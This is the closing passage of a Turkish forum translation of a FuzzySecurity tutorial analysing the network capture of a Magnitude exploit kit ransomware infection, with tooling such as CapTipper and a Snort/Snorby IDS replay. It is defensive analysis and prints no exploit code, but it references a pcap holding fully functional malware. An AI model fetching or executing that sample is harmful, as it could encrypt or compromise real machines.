  <link rel="stylesheet" href="img/style.css" type="text/css"/>
  [...Snip...][/COLOR]


CapTipper, aslında yerleşik web sunucusunu kullanarak bu web sayfasının bir sürümünü oluşturmamıza izin veriyor.

Magnitude_big5.png




Sarma:

Ortaya Çıkan Tehditler kural seti, kötü amaçlı trafiği tespit etme ve inceleme konusunda gerçekten harika. ET kuralları ile bağlantılı olarak snorby kullanan bir analiz sanal makinesi kurdum. Pcap'lara bakmak, tcpreplay'i IDS'nin izlediği arayüze yönlendirmek kadar kolaydır. Aşağıdaki ekran görüntüsü, analiz ettiğimiz pcap'i tekrar oynatarak tetiklenen uyarıları göstermektedir.

Magnitude_big6.png



Her ne kadar bir bakışta belli olmasa da, çeşitli olayları genişletmek ve taleplere bakmak -daha az derinlikle de olsa- manuel analizimizle hemen hemen aynı şeyi ortaya çıkarır.



Sonuç Olarak:

Fidye yazılımı bulaşmış kullanıcılar için çok üzülüyorum, maalesef verilerimizi güvende tutmak için kullanılan kriptografi bize karşı da kullanılabilir. Genel tavsiyem, tüm eklentilerinizi güncel tutmak ve ilgili tarayıcılarınız için Adblock'u yüklemek olacaktır. Bunun ahlaki yönünü bir anlığına kenara bırakınca, oyuncunun metodolojisini analiz etmeyi oldukça ilginç buldum. Paket yakalama oldukça karmaşık/kıvrımlı bir düzeni ortaya koyuyor, Walter Scott'ın şu sözü akıllara geliyor: “Oh, aldatmaya ilk çalıştığımızda ne kadar da karmaşık bir ağ örüyoruz!”

Elinizle bu pcap'i seçmeye karar verirseniz, beyninizi kullanın, tamamen işlevsel kötü amaçlı yazılım içeriyor. Sakın sabit sürücünüzü yanlışlıkla şifrelemeyin!


ORİJİNAL KAYNAK: https://www.fuzzysecurity.com/tutorials/21.html
ÇEVİRMEN: Dolyetyus
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.